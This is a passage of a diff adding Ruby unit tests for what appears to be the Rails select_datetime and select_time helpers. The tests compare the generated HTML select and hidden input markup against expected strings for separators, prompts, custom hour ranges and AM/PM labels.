+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
+ end
+
+ def test_select_datetime_with_all_separators
+ expected = %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << "/"
+
+ expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << "/"
+
+ expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << "&mdash;"
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << ":"
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { :datetime_separator => "&mdash;", :date_separator => "/", :time_separator => ":", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
+ end
+
+ def test_select_datetime_should_work_with_date
+ assert_nothing_raised { select_datetime(Date.today) }
+ end
+
+ def test_select_datetime_with_default_prompt
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="">Year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005,
+ :prefix => "date[first]", :prompt => true)
+ end
+
+ def test_select_datetime_with_custom_prompt
+
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]",
+ :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
+ end
+
+ def test_select_datetime_with_custom_hours
+ expected = %(<select id="date_first_year" name="date[first][year]">\n)
+ expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_month" name="date[first][month]">\n)
+ expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ expected << %(<select id="date_first_day" name="date[first][day]">\n)
+ expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+ expected << %(<option value="">Choose hour</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+ expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :start_hour => 1, :end_hour => 9, :prefix => "date[first]",
+ :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
+ end
+
+ def test_select_datetime_with_hidden
+ expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+ expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+ expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
+ assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :datetime_separator => "&mdash;", :date_separator => "/",
+ :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
+ end
+
+ def test_select_time
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18))
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false)
+ end
+
+ def test_select_time_with_ampm
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false, :ampm => true)
+ end
+
+ def test_select_time_with_separator
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ')
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ', :include_seconds => false)
+ end
+
+ def test_select_time_with_seconds
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << ' : '
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ expected << ' : '
+
+ expected << %(<select id="date_second" name="date[second]">\n)
